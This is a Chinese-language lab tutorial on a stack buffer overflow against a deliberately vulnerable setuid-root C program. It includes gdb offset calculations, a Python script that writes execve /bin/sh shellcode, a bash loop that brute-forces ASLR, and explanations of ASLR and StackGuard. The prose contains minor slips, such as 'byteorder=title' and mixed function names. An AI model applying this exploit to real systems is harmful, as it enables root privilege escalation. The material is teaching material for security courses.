预备环境
Ubuntu16.04
程序stack.c、exploit.py
预备知识
strcpy()这个函数用于复制字符串,遇到字符’\0’时将停止复制,’\0’字符ASCII值为0.
缓冲区溢出攻击的目标在于覆盖函数返回地址,使其指向注入的恶意指令的地址。
开始实验
关闭地址空间随机化
准备存在漏洞的程序stack.c#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof ( char * str)
{
char buffer[ BUF_SIZE] ;
strcpy ( buffer, str) ;
return 1 ;
}
int main ( int argc, char * * argv)
{
char str[ 517 ] ;
FILE * badfile;
char dummy[ BUF_SIZE] ;
memset ( dummy, 0 , BUF_SIZE) ;
badfile = fopen ( "badfile" , "r" ) ;
fread ( str, sizeof ( char ) , 517 , badfile) ;
bof ( str) ;
printf ( "Returned Properly\n" ) ;
return 1 ;
}
上面程序从badfile中读取517字节的数据,然后把它们复制到长度为24字节的缓冲区buffer中。
可以简单的将恶意代码放入badfile中,当程序读取文件时,恶意代码被载入str数组,当程序将str中的内容复制到目标缓冲区时,恶意代码就被存入栈中,恶意代码被放到badfile文件的末尾。
下一步,需要迫使程序跳转到内存的恶意代码,为了达到这个目的,可以利用代码中的缓冲区溢出问题修改返回地址,如果知道恶意代码存放的位置,就能够简单地使用这个地址来覆盖返回地址所在的内存区域,当foo()函数返回时,程序就会跳转到恶意代码存放的地址。
实验攻击的目标是一个拥有root权限的Set-UId程序,,假如成功对该Set-UID程序发起缓冲区溢出攻击,注入的恶意代码一旦被执行,则将以root权限运行:
[ 07/06/20] seed@VM:~/code$ gcc -o stack -z execstack -fno-stack-protector stack.c
[ 07/06/20] seed@VM:~/code$ sudo chown root stack
[ 07/06/20] seed@VM:~/code$ sudo chmod 4755 stack
-z execstack:在默认情况下,一个程序的栈是不可执行的,因此在栈上注入恶意代码也是无法执行的,该保护机制称作不可执行栈,但是-z execstack选项设置栈为可执行的。
-fno-stack-protector:关闭了一个称为StackGuard的保护机制,它能够抵御基于栈的缓冲区溢出攻击,它的主要思想是在代码中添加一些特殊数据和检查机制,从而可以检测到缓冲区溢出的发生。
通过调试程序找到地址
直接调试这个程序,并打印出foo()函数被调用时帧指针的值。当以普通用户身份调试一个Set-UID特权程序时,程序并不会以特殊权限运行,因此在调试器中直接改变程序行为并不能获得任何权限。
重新编译程序,加入调试信息(-g选项)[ 07/06/20] seed@VM:~/code$ touch badfile
[ 07/06/20] seed@VM:~/code$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
[ 07/06/20] seed@VM:~/code$ gdb stack_dbg
GNU gdb ( Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
.. .
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 13.
gdb-peda$ run
Starting program: /home/seed/code/stack_dbg
[ Thread debugging using libthread_db enabled]
.. ..
Breakpoint 1, bof ( str= 0xbffff1a7 "\bB\003" ) at stack.c:13
warning: Source file is more recent than executable.
13 strcpy( buffer, str) ;
gdb-peda$ p $ebp
$1 = ( void *) 0xbffff168
gdb-peda$ p & buffer
$2 = ( char ( *) [ 24] ) 0xbffff148
gdb-peda$ p/d 0xbffff168 - 0xbffff148
$3 = 32
gdb-peda$ quit
在gdb中,通过b foo命令在bof()函数处设置一个断点,接着用run命令来运行程序,程序将在bof()函数内停下来,这时可以使用gdb的p指令(p指令默认用六十进制打印,p/d表示用十进制打印)来打印帧指针ebp的值以及buffer地址。
从上面的结果可以看出,帧指针的值是0xbffff168,因此返回地址保存在0xbffff168+4,并且第一个NOP指令在0xbffff168+8,因此可以将0xbffff168+8作为恶意代码的入口地址,把它写入返回地址字段中。
由于输入将被复制到buffer中,为了让输入的返回地址字段准确地覆盖栈中的返回地址区域,需要知道栈中buffer和返回地址之间的距离,这个距离就是返回地址字段在输入数据中的相对位置。
通过计算,可以看到从buffer起始地址到ebp之间的距离为32,由于返回地址区域在ebp指向位置上面的4字节,由此可以知道返回地址区域到buffer之间的距离为36.
构造输入文件
exploit.py
import sys
shellcode= (
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68" "//sh"
"\x68" "/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
) . encode( 'latin-1' )
content = bytearray ( 0x90 for i in range ( 517 ) )
start = 517 - len ( shellcode)
content[ start: ] = shellcode
ret = 0xbffff168 + 100
offset = 36
content[ offset: offset + 4 ] = ( ret) . to_bytes( 4 , byteorder= 'little' )
with open ( 'badfile' , 'wb' ) as f:
f. write( content)
shellcode中存放就是恶意代码,在第一部分创建了一个长度为517个字节的byte数组,并用0x90(NOP)填充整个数组,最后把恶意代码放到数组的尾部(第二部分所示)。
这里使用0xbffff168 + 100作为返回值,需要把它填入到content数组的返回值区域,由之前的gdb调试结果可知,返回值区域从第36个字节开始,到第40个字节结束,不包括第40个字节,所以设置offset = 36, 用[offset:offset+4]来存储返回地址。
在x86等体系结构的计算机使用的是小端字节顺序,一个多字节组成的数据在内存中存放时,最低位字节放到低地址处,因此把一个4字节的地址写入内存时,用byteorder='title’来指明使用小端字节顺序。
地址没有使用0xbffff168+8是因为,在gdb中和程序实际运行中有可能不同,gdb可能在执行时往栈压入了一些额外的数据,可能比直接运行程序时栈帧更深一些。
0xbffff168 + n不应该使用任何字节包含0,因为’\0’的ASCII码值为0x00,strcpy函数碰到00会停止复制内容到缓冲区,因此会造成缓冲区溢出攻击的失败。
运行程序[ 07/06/20] seed@VM:~/code$ ./exploit.py
[ 07/06/20] seed@VM:~/code$ ./stack
uid= 1000( seed) gid= 1000( seed) euid= 0( root) groups= 1000( seed) ,4( adm) ,24( cdrom) ,27( sudo) ,30( dip) ,46( plugdev) ,113( lpadmin) ,128( sambashare)
可以看到成功获得了root的shell权限。
防御措施
地址空间随机化
地址空间随机化(ASLR)是针对缓冲区溢出攻击的防御措施之一,ASLR对程序内存中的一些关键数据区域进行随机化,包括栈的位置、堆和库的位置等,目的让攻击者难以猜测所注入的恶意代码在内存中的具体位置。
用户可以通过设置一个内核变量kernel.randomize_va_space告知加载器它们想要使用的地址随机化类型。
kernel.randomize_va_space = 0,不启用地址随机化。
kernel.randomize_va_space = 1,启用栈地址随机化,堆不启用。
kernel.randomize_va_space = 2,栈和堆都启用地址随机化。
衡量地址空间随机程度的一种方式是熵,如果一个内存空间区域拥有n比特熵,这表明系统上该区域的基地址由2n 等可能的位置。
在32为Linux系统中,栈只有19bit的熵,意味着栈只有219 中可能性,这个数字并不大,他能被轻易暴力破解。
编写一下脚本来实现缓冲区溢出攻击:#!/bin/bash
SECONDS= 0
value= 0
while [ 1 ]
do
value= $(( $value + 1 ))
duration= $SECONDS
min= $(( $duration / 60 ))
sec= $(( $duration % 60 ))
echo "$min minutes and $sec seconds elapsed"
echo "The program has been running $value times so far"
./stack
done
在之前的攻击中,已经把恶意代码写入到badfile中,由于地址随机化,该文件中放入的地址可能时错的,随着脚本不断的运行,程序不断的执行,总有一次程序加载的基地址能够正好命中badfile中的地址。
StackGuard
可以在缓冲区到返回地址之间放置一个不可预测的值,在函数返回之前,检查这个值是否被修改,如果值被修改,则返回地址很大可能被修改了,因此,检测返回地址是否被覆盖的问题变成了哨兵值是否被修改的问题。
在gcc中编译时默认开启,可以使用-fno-stack-protector关闭该选项。
对于StackGuard方案中,存放canary(哨兵)中的秘密数需要满足两个条件:
随机的:可以通过使用/dev/urandom初始化canary来确保。
它的备份不能保存在栈中:在Linux中,GS寄存器指向的内存段是一个特殊的区域,不同于栈、堆、BSS段、数据段和代码段,GS与栈物理隔离,因此堆栈缓冲区溢出不会影响GS段中的任何数据。